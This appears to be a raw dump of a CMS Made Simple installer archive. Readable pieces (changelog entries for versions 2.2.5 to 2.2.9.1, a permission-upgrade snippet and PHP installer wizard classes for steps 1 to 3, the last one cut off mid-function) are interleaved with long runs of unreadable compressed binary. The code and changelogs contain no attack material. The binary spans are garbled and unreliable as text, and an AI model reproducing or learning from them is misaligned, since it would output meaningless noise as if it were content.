     \j0 E~E 橉;dRQQ;=ro׳jZRiN	QX*kU&@iwڻ%-suIc(vB"FFƓ/'.4^Wehnas&6:c%ҒzB#J~nYi<5;0a	y3A;p<V9޶   As       WVH}W,d 'yXSopvKmꮮ{7'/Ͽ9wvի_.N<zLN͛'ןah,_ʳXL
{ژN%oNgZO?rs)tb!dq6ꪪc.Q%l淧<~>1.'rڥ^4nv4&W+9 \d*:
8mrzߟ2!.m3k(d&n5YEC锝HY?맵iywIhQ@S̕5:TIid^w7ٻɡꓧTL4)ꢓNJ	z~٢AɺL0}9nh&WU-vgjdՀOP|4/O[*v9]M{ċL>F@gĬK%0`^~g<v'gPa8锬&rT5T8C?1yh;#r@(
uy"]s)|t?98P@%6TU:R4'
[Fxh"lma:YiBE *{eãlu\jPjނ$DiVZ}G1#F%X,xO5c|{LǟH6<Z	!J9_^ebg| 9=+Iba1sRRɗe?܃ʢb"ejQN1DUZԟJ*gQ6Lr j@>XρRV몓e2yNu5ߔ$;Zuo_kpCgpEYFm^3vE)gmɖ<C
bWՁcdk<χ7ױDJU1FS
-H:Ǯs}(.INCR[jy)t^s"1*w8V]0தAxZtfW1q݂%5\ )6n2$nH[mT"JɄ#F@sh|!אxUc`HEzql/].x.[bE++YI Lo>M#k":!T %9IO.۔يgU&H  *I!x6j4 zR+}xY&V}5	ymd6Zf4]˞[ơ;`Z,_%p$CC+ՙ/H`bbZ:KyluxyՇ $Y*Iƅ*(<:g,q>l%K1x1{ n51ВH!
Y^G*Nf1`%#FpPRHhh "fJn>dzqJC̲YCu_v`߅L'h->C$o/Qmd   r~  <?php
$sql = 'SELECT permission_id FROM '.CMS_DB_PREFIX.'permissions WHERE permission_name = ?';
$tmp = (int) $db->GetOne($sql,[ 'Manage Groups'] );
if( $tmp < 1 ) {
    status_msg('Create missing "Manage Users" Permission');
    $new_id = (int) $db->GenID(CMS_DB_PREFIX.'permissions_seq');
    $sql = 'INSERT INTO '.CMS_DB_PREFIX.'permissions (permission_id,permission_name,permission_text,permission_source,create_date,modified_date)
            VALUES (?,?,?,?,NOW(),NOW())';
    $db->Execute( $sql, [ $new_id, 'Manage Groups', 'Manage Groups', 'Core'] );
}
Version 2.2.5 - Wawa
----------------------------------
Core - General
  - Fix minor security issue in the way login information was cached in cookies and the session.
  - Simplify rules around alias editing/generation in fillparams.
    If the alias field exists then we can adjust its value or recalculate an alias.
    Use basic properties, and ownership and permissions to determine if that field exists on the edit form.
  - Minor fixes to the CmsJobManager.
     dInPD>'?vƎ#m%?4pê]Uʒ|Lw{o6٧أr)	0~ȼt[y1F̓,㾸+ir=?&*]xqRYJ@<J	 XQ~{cjjM}z'z=]	ιTJG%BXp4J(ue[_?oAwDjNÁs	 5AoC'PM̂"RF?;v͏=rP(!gQ,MD"JMy`l?|/    {  Version 2.2.6 - Come by Chance
----------------------------------
Core - General
  - Fixes to AdminAlerts::load_by_name()
  - SetMessage() and SetError() in the module API now use session variables
  - Remove support for module_error and module_action request parameters in admin module actions.
  - Add call to check_login() in admin actions that were missing them.


Search v1.51.3
  - Fix notice in PHP 7.1: A non well formed numeric value encountered...
     l_o0 ~|`)4@*^ـ N_B.?]sV칺HD+Pw㇧^=m׫i%p5[Vcptɞ7T|y+[:p}1wI@29}_vlx;!PƦq{Xw&G"	v?#/^Ge
^#IQr3u	t*Z1F@70ۥSnk7kW!8{Ĕ]?O:	^wH+2:	6'.; $η^B%(Bb-</fALoܼn@P,|Bqٲ7s##ź{iIk%t$(ꃀ$
Lh`FʮnߕQ!lDti,ʬi.O)ѡ!\BdD
B0^CN8 (Dܷ J$E?v    01o  Version 2.2.7 - Skookumchuck
----------------------------------
Core - General
  - Change internal CSRF variable name
  - Fix object insertion bug via deserialize in LoginOperations
  - Fix issue where login cookie contents could be forged by determining the hashing salt
  - Refactor the mechanism for generating and verifying admin account password reset codes.

FileManager v1.6.6
  - No longer allow uploading files with names that end in .

FilePicker v1.0.2
  - No longer allow uploading files with names that end in .

Search v1.51.4
  - Minor fix to microtime calls.
     tSn0}WwƶiRU6"$	5^)\Μ33irW-Su3'3Z]ݷz\/	/xϜټN>OxsW[6uW?gf2袴;HDCפǔ.6k+eLD/R ʃv!ȴ c$?h=4
EZA.fx'Om˦eh=/AGǂ>HdAD'V%RuCESFՐuAH`o?l݌߻nCKVj2y^HiX#y`׀Zh=Ѻ.^$)	|FMD"# 4-6GK.hջp|&yC i<?{/ dW9``N vsww8ȹN ɘA -*Q7u[6{-    e+  Version 2.2.8 - Flin Flon
----------------------------------
Core - General
  - Re-introduce the host_whitelist config entry that got lost in some commit somewhere.
  - Minor fix to pagination in Admin log.
  - Change Finnish locale priorities so that UTF-8 is first.
  - Minor fix to calling hooks with a single associative array parameter.
  - Adds new HookManager::do_hook_first_result() method
  - cangegroupperms now calls HookManager::do_hook_first_result
  - Minor enhancement to moduleoperations::_load_module() to check if the class exists.
  - Minor enhancement to {cms_action_url} wrt. the page to link to if not specified.
  - Deprecate CMSModule::SetParameterType and CMSModule::CreateParameter methods.
  - Deprecate ModuleOperations::GetModuleParameters() method.
  - CMSModule::RestrictUnknownParameters() now does nothing.
  - No longer warn if a module is sent a parameter that is not registered.
  Note: modules should now be cleaning parameters directly (see filter_var) from $_POST and $_REQUEST ($_GET is automatically cleaned).
  Note: In the future,  $params in module actions will only consist of parameters passed on the module tag.
  - PHP 7.2+ fixes.
  - Fix the inactive param in the page_attr plugin.

FilePicker v1.0.3
  - Minor fix to delete action.

Search v1.51.5
  - Now enforce utf-8 on preg_split.
  - Minor parameter check.
  - Removed deprecated each() function.

CMSJobManager v0.1.3
  - Notices fixed.
  - PHP 7.2+ fixes.

FileManager v1.6.7
  - Remove un-necessary files that may cause a security vulnerability.
  - prevent creating directories with leading or trailing whitespace in the name.

Module Manager v2.1.4
  - PHP 7.2+ fixes.

Navigator v1.0.9
  - Template fix simple_navigation.tpl. Output correct class for parent without active children.

News v2.51.4
  - Notices fixed.
     WrK|+}s Ǿ*mjFMI5þH#LVwUVVחo\^_~|L{cgW_puO}~qf&fn^_\]8͇ϧ'Oϖ^]D/Dꊍ\h}|\׳\ђne}?<of5羽sW]?,nX%ùR}2DUQχ5-U&_֐!k+q^K='·?	~3F;mxR4jua4)cv>tM\sjJTI%gAg/^\O^"UMf]$q6E%[Xi=r*u6ɰF*I}QYK;tMf4tdߚua/f$+ 1ru"do[=51>lk
5]Ֆƅ86ڤjL(*AsIaş&ힾ)/1lI&yӪ8WNZI\X1&*'e!aٜ_R8\Ks>yn٩hZ1!`=A}%vyKŭ~D87PլCL[N܊*UQ42~B1\;1V#c([L6VsgW$g5=.w!cFdS,ș6ʿ\pfu:`$ZLv[ːGM1YnG_uѦOYbeJJ>"=X9Q6fb]H?P'NIfBŉ)ͮ]xUa\!?\jʐrK:cǩ)${cBK!l>+<n?VsFJ6$.E,1BƘmnfz1nTFH꒬UEAsKt]FJ슊1l%`\[2-ɯn2X5#
qv|7dbhg[TpCV蛬nCnlDlUL1gÏiL8PZ.4Wш
SI=+iJ0~>&gMRTtY`"E?yYGmtco"^а4FOQ=of5-y4=GfslJ4S)b\lws'c(I'Rjv|JVg1R"1i[Nmc{
w+YU4meSb@ip*mT>_`
e0*7]S#eNӏn3ʑjDJ5ֲ:IGC$JhF3w`ڇ8^7	P#L%`~Pm6wzxǨN^;@%(l-U7Tf'&oH\e6vr:L@|B}u_HmW**Vr1Rkn~F+O&KB:EssHld9޳ShwkVZk!7p`ܭ>b3tۓ6D#hVΊְLK}\z<@8tT\.?w"	VV>"	l|C
@'c_ޟZUQF]vZ0]}|ӺnEg[ =`9FR'|;'D\	Rr{y)fIluZk^)a\,w8~G%ܬM	,,bknc hy+1Y    '  Version 2.2.9 - Blow Me Down
----------------------------------
Core - General
  - PHP 7.2+ fixes.
  - Now do not call Module::InitializeAdmin() or Module::InitializeFrontend() if the module loading is being forced
    (as is the case sometimes within ModuleManager);
  - Minor changes and fixes to prevent warnings/notices in CLI based scripts
  - Improvements to the {browser_lang} plugin.
  - Fixes a bug in the CmsLayoutTemplateQuery class.
  - Fixes a bug with the name= parameter in the {cms_stylesheet} plugin.
  - Fixes a minor issue in system information (smarty compilecheck).
  - Fixes a minor issue with the tabIndex and accesskey fields in edit content.
  - Fixes issue in the CmsLayoutStylesheet class related to associating designs with new stylesheets.
  - Now check for an english language file first in module_custom/xxxxx/lang before a file for the current language.
  - Prevent false-positive hit for "multiple_webshells_0018" rule webserver virusscanner (https://github.com/Yara-Rules/rules/blob/master/Webshells/WShell_THOR_Webshells.yar#L4764).
  - Fixes a bug in ContentOperations::LoadAllContent() if the content list had a custom content type from a module that was unvavailable.
  - Fixes a bug in the Database\Connection::DbTimeStamp()

Search v1.51.6
  - Minor fixes to help

MicroTiny v2.2.3
  - More entropy in the mt_config.js filename to fix issues with js caching when switching users.
  - Fixes in the cms_linker plugin for when trying to change a link to a CMSMS page where the alias has changed.

FileManager v1.6.8
  - Fixes an upload issue.

ModuleManager v2.1.5
  - PHP 7.2+ fixes.

CMSContentManager v1.1.7
  - Fixes an issue with changing content type after copying a content page.

DesignManager v1.1.5
  - Fixes ownership issue on templates with importing a design.
     WrI}i,#;UYYR{Ѝ=d-}A'O<L/o>ݍ>]\Ik|ֹǯ>\XOo\N/FwǟG}1j7FuI'XG$aFѶg&U,8m:~|x|%	_=)6(cv\~)YԚ}u\
^䵗NKmzu״O3If*;E1"ZkptvɷnxI<y\lв[vE%uG1YFrh3aUm5<*
E2(a\$k\RģE:<m7}N9TUiQ)HDBN$s]sNS!FY|ͩ4gMI 
\VJ!*N3:!)[_ͪC:iSt`b🳓J'!M͉8{L̂IJtڅPһo>;ͦd8hYVU	؈ ?LgVmmȎ90^T Vt2NVYy0+g%W1ۨBչT!9pZ$$^FX$Z+@S,3E*F`GaԯrZhQ8Eeu^<n=`O<໘Pk%f& ̑ ~7qz|+STJFdE!o̲%BFPȡX_<~ޒftt>jYSL6IWϸTv5Z=:aN+S:zU1(ZD{Yn ͜HT*TXK*EZ;쾤զ,7~3r@@mF;f9ܶ/4S8oZBsI5Wiqz~3i g1z$+l'ޙn>laUD>,{n%9\#`_bk.yٔ雮"{e|`mlFH"s+<=𼬛1J`aXG]926K?ޑzufw2S5O$bԂfۀu.f˴fLu?khh `-6+HW[U`s*>#** ȹ\q'q0 #A
f"?L&rpm,\2J}S늌MRxXR6J>ow{Ѽ0ܣo{HBemh֠16"|Ѐ%"6m>#(-?q{s#orGQTCzh<UR
UeP맬h/ԄH	)]-T86۩&SEz	0"PG`!Mn[^wn'u0QfBfD;f@stu;\U&A8
c0^!ժ   x}1  Version 2.2.9.1
-------------------------------
Core - General
  - fix to the CmsLayoutStylesheetQuery class
  - fix an edge case in the Database\Connection::DbTimeStamp() method

MicroTiny v2.2.4
  - Minor fix in error displays.

Phar Installer v1.3.7
  - Fix to edge case in step 3 where memory_limit is set to -1
     Wr"|?_@/zYi8H"议v;i:B̍ʬϷїۻo7W#iMTR9c~~:q8yw=/>ܟ>)nV?>jT\
o%*brU6&_Wyӳ[uI'XG$aFѶ8`$|,8f[ٕZ~p	ѴZfiuՔ,¸(WMMK}jǩ,vq7cwn9r(F*(W5Fa%;] +U)tpZ+&O&t$</6MMh-i%=\v'1YFrh3gUm5yU"ŋ"%3.5.y"u^vq盾YFUA+F 5Uj2:	wcZe9/[5ᬲ)DYkV)DE?rrv rg

+uR;h
IEt`b🳓J'!M͉8 B̂I>JtڅPһN1RHfUu!i(ȦO?c h.MOa*A<6daW.#KcQ
CBDOs|y-g/#S,J%PeByJ5B6CS\QUb'W0yoyw1JL>3GBqz|W2稔ɊBF[NX-ho>~Z\-i+AO/l:CYD5)&$wVkzu:6-CVʧZu."bP&HD{FOݠ|t
3HjhW6{u	qM?z;P9&'@`08Ǚ	/tx4y%K*N^@_EݤQ9.ђ|IGzg/rrfV92,aٛ0]`EzFk<F
-.<Mu+kckv6VP,B+_1e|QV>ȑ1 XKi=^a'ziHTQR" 6-\̖iogLuoZ44(`-6+HT\,5)UC9Z4'X ȹ\q7q0 |PvσLΫ4섑Ye0#zi7I}/v|!ԣ;>QO?uE[U)l8AȻ mEpa/i(	^+BUmD*-#N CD(2m%RͶX3?h?b-b 9!=LBT6ʒȂæCeEw2ӟ@VX&[ٌ.-gI@rՠ> #U|D
jހ;{&-.;~x$3klJ
(؝LifGCᘭ2aVl1Z ժ   v
  <?php

namespace cms_autoinstaller;

class wizard_step1 extends \cms_autoinstaller\wizard_step
{
    /**
     * @throws \Exception
     */
    public function __construct()
    {
        parent::__construct();
        if( !\class_exists('PharData') )
        {
            throw new \RuntimeException(
              'It appears that the phar extensions have not been enabled in this version of php.  Please correct this.'
            );
        }
    }
    
    /**
     * @throws \__appbase\langtools_Exception
     */
    protected function process()
    {
        if( isset($_POST['lang']) ) {
            $lang = \trim(\__appbase\utils::clean_string($_POST['lang']));
            if( $lang ) \__appbase\translator()->set_selected_language($lang);
        }

        if( isset($_POST['destdir']) ) {
            $app = \__appbase\get_app();
            $app->set_destdir($_POST['destdir']);
        }

        $verbose = 0;
        if( isset($_POST['verbose']) ) $verbose = (int)$_POST['verbose'];
        $this->get_wizard()->set_data('verbose',$verbose);

        if( isset($_POST['next']) ) {
            // redirect to the next step.
            \__appbase\utils::redirect($this->get_wizard()->next_url());
        }
        return TRUE;
    }

    private function get_valid_install_dirs()
    {
        $app = \__appbase\get_app();
        $start = \realpath($app::get_rootdir());
        $parent = \realpath(\dirname($start));

        $_is_valid_dir = function($dir) {
            // this routine attempts to exclude most cmsms core directories
            // from appearing in the dropdown for directory choosers
            $bn = \basename($dir);
            switch( $bn ) {
            case 'lang':
                if( \file_exists("$dir/en_US.php") ) return FALSE;
                break;

            case 'ext':
                if( \file_exists("$dir/fr_FR.php") ) return FALSE;
                break;

            case 'plugins':
                if( \file_exists("$dir/function.cms_selflink.php") ) return FALSE;
                break;

            case 'install':
                if( \is_dir("$dir/schemas") ) return FALSE;
                break;

            case 'tmp':
                if( \is_dir("$dir/cache") ) return FALSE;
                break;

            case 'phar_installer':
            case 'doc':
            case 'build':
            case 'admin':
            case 'module_custom':
            case 'out':
                return FALSE;

            case 'lib':
                if( \is_dir("$dir/smarty") ) return FALSE;
                break;

            case 'app':
                if( \file_exists("$dir/class.cms_install.php") ) return FALSE;
                break;

            case 'modules':
                if(\is_dir("$dir/CMSMailer") || \is_dir("$dir/AdminSearch") ) return FALSE;
                break;

            case 'data':
                if( \file_exists("$dir/data.tar.gz") ) return FALSE;
                break;
            }
            return TRUE;
        };
        
        $_get_annotation = static function($dir) {
            /** @var string $CMS_VERSION from version.php (deprecated) or from lib/version.php */
            if(!\is_dir($dir) || !\is_readable($dir) ) return '';
            $bn = \basename($dir);
            if( $bn != 'lib' && \is_file("$dir/version.php" ) ) {
                @include("$dir/version.php"); // defines in this file can throw notices
  
                if( isset($CMS_VERSION) ) return "CMSMS $CMS_VERSION"; # this should be deprecated in the future
            } else if( \is_file("$dir/lib/version.php") ) {
                @include("$dir/lib/version.php"); // defines in this file can throw notices
                if( isset($CMS_VERSION) ) return "CMSMS $CMS_VERSION";
            }

            if(\is_dir("$dir/app") && \is_file("$dir/app/class.cms_install.php") ) {
                return "CMSMS installation assistant";
            }
        };

        $_find_dirs = static function($start, $depth = 0) use( &$_find_dirs, &$_get_annotation, $_is_valid_dir ) {
            $out = [];
            if( !\is_readable($start ) ) return $out;
            $dh = \opendir($start);
            if( !$dh ) return $out;
            
            while( ($file = readdir($dh)) !== FALSE ) {
                if( $file == '.' || $file == '..' ) continue;
                if( \__appbase\startswith($file,'.') || \__appbase\startswith($file,'_') ) continue;
                $dn = $start.DIRECTORY_SEPARATOR.$file;  // cuz windows blows, and windoze guys are whiners :)
                if( !@\is_readable($dn) ) continue;
                if( !@\is_dir($dn) ) continue;
                if( !$_is_valid_dir( $dn ) ) continue;
                $str = $dn;
                $ann = $_get_annotation( $dn );
                if( $ann ) $str .= " ($ann)";

                $out[$dn] = $str;
                if( $depth < 3 ) {
                    $tmp = $_find_dirs($dn,$depth + 1); // recursion
                    if(\is_array($tmp) && \count($tmp) ) $out = \array_merge($out, $tmp); # revise this to be more efficient (merging arrays in a loop is slow and causes high CPU usage.)
                }
            }
            return $out;
            //if( count($out) ) return $out;
        };

        $out = [];
        if( $_is_valid_dir($parent) ) $out[$parent] = $parent;
        $tmp = $_find_dirs($parent);
        if( \count($tmp) ) $out = \array_merge($out, $tmp);
        \asort($out);
        return $out;
    }

    protected function display()
    {
        parent::display();

        // get the list of directories we can install to.
        $smarty = \__appbase\smarty();
        $app = \__appbase\get_app();
        if( !$app->in_phar() ) {
            // get the list of directories we can install to
            $dirlist = $this->get_valid_install_dirs();
            if( !$dirlist ) throw new \RuntimeException('No possible installation directories found.  This could be a permissions issue');
            $smarty->assign('dirlist',$dirlist);

            $custom_destdir = $app->has_custom_destdir();
            $smarty->assign('custom_destdir',$custom_destdir);
            $smarty->assign('destdir',$app->get_destdir());
        }
        $smarty->assign('verbose',$this->get_wizard()->get_data('verbose',0));
        $smarty->assign('languages',\__appbase\translator()->get_language_list(\__appbase\translator()->get_allowed_languages()));
        $smarty->assign('curlang',\__appbase\translator()->get_current_language());
        $smarty->assign('yesno', [0 =>\__appbase\lang('no'), 1 =>\__appbase\lang('yes')]);
        $smarty->display('wizard_step1.tpl');

        $this->finish();
    }

} // end of class

?>
<?php

namespace cms_autoinstaller;
use \__appbase;

class wizard_step2 extends \cms_autoinstaller\wizard_step
{
    private function get_cmsms_info($dir)
    {
        $info = [];
        if( !$dir ) return;
        if( !\is_dir($dir . '/modules') ) return $info;
        if(!\is_file($dir . '/version.php') && !\is_file("$dir/lib/version.php") ) return $info;
        if(!\is_file($dir . '/include.php') && !\is_file("$dir/lib/include.php") ) return $info;
        if( !\is_file($dir . '/config.php') ) return $info;
        if( !\is_file($dir . '/moduleinterface.php') ) return $info;
        
        # these vars are set by the version.php (deprecated) or /lib/version.php
        /** @var $CMS_VERSION string */
        /** @var $CMS_VERSION_NAME string */
        /** @var $CMS_SCHEMA_VERSION string */

        if( \is_file("$dir/version.php") ) {
            include($dir.'/version.php');
            $info['mtime'] = \filemtime($dir . '/version.php');
        } else {
            include("$dir/lib/version.php");
            $info['mtime'] = \filemtime($dir . '/lib/version.php');
        }
        $info['version']        = $CMS_VERSION;
        $info['version_name']   = $CMS_VERSION_NAME;
        $info['schema_version'] = $CMS_SCHEMA_VERSION;
        $info['config_file']    = $dir . '/config.php';
        
        $app        = \__appbase\get_app();
        $app_config = $app->get_config();
        if( !isset($app_config['min_upgrade_version']) ) throw new \RuntimeException(\__appbase\lang('error_missingconfigvar', 'min_upgrade_version'));
        if(\version_compare($info['version'], $app_config['min_upgrade_version']) < 0 ) $info['error_status'] = 'too_old';
        if(0 == \version_compare($info['version'], $app->get_dest_version())) $info['error_status'] = 'same_ver';
        if( \version_compare($info['version'],$app->get_dest_version()) > 0 ) $info['error_status'] = 'too_new';

        /** @var $config array  set by config.php */
        $fn = $dir.'/config.php';
        include_once($fn);
        $info['config'] = $config;
        if( isset($config['admin_dir']) ) {
            if( $config['admin_dir'] != 'admin' ) throw new \RuntimeException(\__appbase\lang('error_admindirrenamed'));
        }
        return $info;
    }

    protected function process()
    {
        if( isset($_REQUEST['install']) ) {
            $this->get_wizard()->set_data('action','install');
        }
        else if( isset($_REQUEST['upgrade']) ) {
            $this->get_wizard()->set_data('action','upgrade');
        }
        else if( isset($_REQUEST['freshen']) ) {
            $this->get_wizard()->set_data('action','freshen');
        }
        else {
            throw new \Exception(\__appbase\lang('error_internal',200));
        }
        \__appbase\utils::redirect($this->get_wizard()->next_url());
    }
    
    /**
     * @throws \SmartyException
     * @throws \Exception
     */
    protected function display()
    {
        // search for installs of CMSMS.
        parent::display();
        $app = \__appbase\get_app();
        $config = $app->get_config();

        $rpwd = \__appbase\get_app()->get_destdir();
        $info = $this->get_cmsms_info($rpwd);
        $wizard = $this->get_wizard();
        $smarty = \__appbase\smarty();
        $smarty->assign('pwd',$rpwd);
        $smarty->assign('nofiles',$config['nofiles']);

        if( $info ) {
            // its an upgrade
            $wizard->set_data('version_info',$info);
            $smarty->assign('cmsms_info',$info);
            if( !isset($info['error_status']) || $info['error_status'] != 'same_ver' ) {
                $versions = utils::get_upgrade_versions();
                $out = [];
                foreach( $versions as $version ) {
                    if(\version_compare($version, $info['version']) < 1 ) continue;
                    $readme = utils::get_upgrade_readme($version);
                    $changelog = utils::get_upgrade_changelog($version);
                    if( $readme || $changelog ) $out[$version] = ['readme' =>$readme, 'changelog' =>$changelog];
                }
                $smarty->assign('upgrade_info',$out);
            }
        }
        else {
            // looks like a new "install"
            // double check for the phar stuff.
            if(\is_dir($rpwd . '/app') && \is_file($rpwd . '/index.php') && \is_dir($rpwd . '/lib') && \is_file($rpwd . '/app/class.cms_install.php') ) {
                // should never happen except if you're working on this project.
                throw new \RuntimeException(\__appbase\lang('error_invalid_directory'));
            }

            $is_dir_empty = function($dir,$phar_url) {
                if( !$dir ) return FALSE;
                if( !\is_dir($dir) ) return FALSE;
                $files = \glob($dir . '/*');
                if( !\count($files) ) return TRUE;
                if(\count($files) > 3 ) return FALSE;
                // trivial check for index.html
                foreach( $files as $file ) {
                    $bn = \strtolower(\basename($file));
                    if( \fnmatch('index.htm*', $bn) ) continue;   // this is okay
                    if( \fnmatch('readme*.txt', $bn) ) continue;  // this is okay
                    if( $phar_url ) {
                        $phar_bn = \basename($phar_url );
                        if( \fnmatch($phar_bn, $bn ) ) continue; // this is okay
                    }
                    // found a not-okay file.
                    return FALSE;
                }
                return TRUE;
            };
            $list_files = function($dir,$n = 5) {
                $n = \max(1, \min(100, $n));
                if( !$dir ) return [];
                if( !\is_dir($dir) ) return [];
                $files = \glob($dir . '/*');
                $files = \array_slice($files, 0, $n);
                foreach( $files as &$file ) {
                    $file = \basename($file);
                }
                return $files;
            };
            $empty_dir = $is_dir_empty($rpwd,$app->get_phar());
            $existing_files = $list_files($rpwd);
            $smarty->assign('install_empty_dir',$empty_dir);
            $smarty->assign('existing_files',$existing_files);
            $wizard->clear_data('version_info');
        }

        $smarty->assign('retry_url',$_SERVER['REQUEST_URI']);
        $smarty->display('wizard_step2.tpl');
        $this->finish();
    }

} // end of class

?>
<?php

namespace cms_autoinstaller;
use \__appbase\tests as _tests_;

class wizard_step3 extends \cms_autoinstaller\wizard_step
{
    protected function process()
    {
        # nothing here
    }
    
    /**
     * @throws \Exception
     */
    protected function perform_tests($verbose, &$infomsg, &$tests)
    {
        $app = \__appbase\get_app();
        $version_info = $this->get_wizard()->get_data('version_info');
        $action = $this->get_wizard()->get_data('action');
        $informational = [];
        $tests = [];

        // informational messages...
        $informational[] = new _tests_\informational_test('server_software',$_SERVER['SERVER_SOFTWARE'],'info_server_software');
        $informational[] = new _tests_\informational_test('server_api', \PHP_SAPI, 'info_server_api');
        $informational[] = new _tests_\informational_test('server_os', [\PHP_OS, \php_uname('r'), \php_uname('m')]);

        // required test for php version
        $obj = new _tests_\version_range_test('php_version', \PHP_VERSION);
        $obj->minimum = '5.4.11';
        $obj->recommended = '5.5.2';
        $obj->fail_msg = \__appbase\lang('pass_php_version', $obj->minimum, $obj->recommended, \PHP_VERSION);
        $obj->warn_msg = \__appbase\lang('msg_yourvalue', \PHP_VERSION);
        $obj->pass_msg = \__appbase\lang('msg_yourvalue', \PHP_VERSION);
        $obj->required = true;
        $tests[] = $obj;

        // required test... check if most files are writable.
        {
            $dirs = ['modules', 'lib', 'plugins', 'admin', 'uploads', 'doc', 'scripts', 'install', 'tmp', 'assets'];
            $failed = [];
            $list = \glob($app->get_destdir() . '/*');
            foreach( $list as $one ) {
                $basename = \basename($one);
                if( \is_file($one) ) {
                    $relative = \substr($one, \strlen($app->get_destdir()) + 1);
                    if( !\is_writable($one) ) $failed[] = $relative;
                }
                else if( \in_array($basename, $dirs) ) {
                    $b = \__appbase\utils::is_directory_writable($one,TRUE);
                    if( !$b ) {
                        $tmp = \__appbase\utils::get_writable_error();
                        $failed = \array_merge($failed,\__appbase\utils::get_writable_error()); # revise this to be more efficient (merging arrays in a loop is slow and causes high CPU usage.)
                    }
                }
            }
        }

        // required test... tmpfile
        $fh = \tmpfile();
        $b = !((FALSE === $fh));
        $obj = new _tests_\boolean_test('tmpfile',$b);
        $obj->required = TRUE;
        if( !$b ) $obj->fail_msg = \__appbase\lang('fail_tmpfile');
        $tests[] = $obj;
        unset($fh);

        // its an upgrade
        if( $version_info ) {
            // config file must be writable.
            $obj = new _tests_\boolean_test('config_writable', \is_writable($version_info['config_file']));
            $obj->required = TRUE;
            $obj->fail_key = 'fail_config_writable';
            $tests[] = $obj;

            if('upgrade' == $action && \version_compare($version_info['version'], '2.2') < 0 ) {
                $dir = $app->get_destdir().'/assets';
                if( \is_dir($dir) ) {
                    $obj = new _tests_\boolean_test('assets_dir_exists',FALSE);
                    $obj->fail_key = 'fail_assets_dir';
                    $obj->warn_key = 'fail_assets_dir';
                    $obj->required = 0;
                    $tests[] = $obj;
                }
            }
        } else {
            $is_dir_empty = function($dir) {
                $dir = \trim($dir);
                if( !$dir ) return FALSE;         // fail on invalid dir
                if( !\is_dir($dir) ) return TRUE; // pass on dir not existing yet
                $files = \glob($dir . '/*' );
                if( !\count($files) ) return TRUE;    // no files yet.
                if(\count($files) > 1 ) return FALSE; // more than one file
                // trivial check for index.html
                $bn = \strtolower(\basename($files[0]));
                if( \fnmatch('index.htm*', $bn) ) return TRUE;
                return FALSE;
            };
            $res = true;
            $dest = $app->get_destdir();
            if( $res && !$is_dir_empty($dest.'/tmp/cache') ) $res = false;
            if( $res && !$is_dir_empty($dest.'/tmp/templates_c') ) $res = false;

            $obj = new _tests_\boolean_test('tmp_dirs_empty',$res);
            $obj->required = true;
            $obj->fail_key = 'fail_tmp_dirs_empty';
            $tests[] = $obj;
        }

        // required test... gd version 2
        $obj = new _tests_\version_range_test('gd_version',$this->_GDVersion());
        $obj->minimum = 2;
        $obj->required = 1;
        $obj->fail_msg = \__appbase\lang('msg_yourvalue',$this->_GDVersion());
        $tests[] = $obj;

        // required test ... tempnam function
        $obj = new _tests_\boolean_test('func_tempnam', \function_exists('tempnam'));
        $obj->required = 1;
        $obj->fail_key = 'fail_func_tempnam';
        $tests[] = $obj;

        // required test ... some sort of gzopen/gzopen64 combo
        $obj = new _tests_\boolean_test('func_gzopen', \function_exists('gzopen') || \function_exists('gzopen64'));
        $obj->required = true;
        $obj->fail_key = 'fail_func_gzopen';
        $tests[] = $obj;

        // recommended test ... ZipArchive
        $obj = new _tests_\boolean_test('func_ziparchive', \class_exists('ZipArchive'));
        $obj->required = false;
        $obj->fail_key = 'fail_func_ziparchive';
        $tests[] = $obj;
    
        // only perform the check below PHP 7.0 (we'll be removing this check on 2.99+)
        // note: we are way past the PHP 7.0.0 release so we just go ahead with this
//        if(\version_compare(PHP_VERSION, '7.0.0') < 0)
//        {
//          // required test ... magic_quotes_runtime
//          // TODO: remove on 2.99+ if not removed already as it was removed from PHP since v 5.4.0 (JM)
//          $obj = new _tests_\boolean_test('magic_quotes_runtime',function_exists('get_magic_quotes_runtime') && !get_magic_quotes_runtime());
//          $obj->required = 1;
//          $obj->fail_key = 'fail_magic_quotes_runtime';
//          $tests[] = $obj;
//        }
        // required test ... multibyte extension
        $obj = new _tests_\boolean_test('multibyte_support', _tests_\test_extension_loaded('mbstring') && \function_exists('mb_get_info'));
        $obj->required = 1;
        $obj->fail_key = 'fail_multibyte_support';
        $tests[] = $obj;

        // recommended test ... intl extension
        $obj = new _tests_\boolean_test('intl_support', _tests_\test_extension_loaded('intl') && \class_exists('IntlDateFormatter'));
        $obj->required = 0;
        $obj->fail_key = 'fail_intl_support';
        $obj->warn_key = 'fail_intl_support';
        $tests[] = $obj;

        // required test ... at least one supported database driver
        $obj = new _tests_\matchany_test('database_support');
        $obj->required = 1;
        $t1 = new _tests_\boolean_test('mysql',_tests_\test_extension_loaded('mysql'));
        $obj->add_child($t1);
        $t1 = new _tests_\boolean_test('mysqli',_tests_\test_extension_loaded('mysqli'));
        $obj->add_child($t1);
        $obj->fail_key = 'fail_database_support';
        $tests[] = $obj;

        // required test ... md5 function
        $obj = new _tests_\boolean_test('func_md5', \function_exists('md5'));
        $obj->fail_key = 'fail_func_md5';
        $obj->required = 1;
        $tests[] = $obj;

        // required test ... json function
        $obj = new _tests_\boolean_test('func_json', \function_exists('json_decode'));
        $obj->fail_key = 'pass_func_json';
        $obj->required = 1;
        $tests[] = $obj;

        // recommended test ... open basedir
        $obj = new _tests_\boolean_test('open_basedir', '' == \ini_get('open_basedir'));
        $obj->warn_key = 'warn_open_basedir';
        $obj->fail_key = 'fail_open_basedir';
        $tests[] = $obj;

        // required test... sessions must use cookies
        $t0 = new _tests_\boolean_test('session_use_cookies', \ini_get('session.use_cookies'));
        $t0->required = 1;
        $t0->fail_key = 'fail_session_use_cookies';
        $tests[] = $t0;

        if('files' == \ini_get('session.save_handler')) {
            $open_basedir = \ini_get('open_basedir');
            if( $open_basedir ) {
                // open basedir restrictions are in effect, can't test if the session save path is writable
                // so just talk about it.
                // note: if we got here, sessions are probably working just fine.
                $t2 = new _tests_\boolean_test('open_basedir_session_save_path',0);
                $t2->warn_key = 'warn_open_basedir_session_savepath';
                $t2->msg = \__appbase\lang('info_open_basedir_session_save_path');
                $tests[] = $t2;
            }
            else {
                // test if the session save path is writable.
                $tmp = $this->_get_session_save_path();
                if( $tmp ) {
                    // session save path can be empty which should use the system temporary directory
                    $t2 = new _tests_\boolean_test('session_save_path_exists',@\is_dir($tmp));
                    $t2->required = 1;
                    $t2->fail_key = 'fail_session_save_path_exists';
                    $tests[] = $t2;

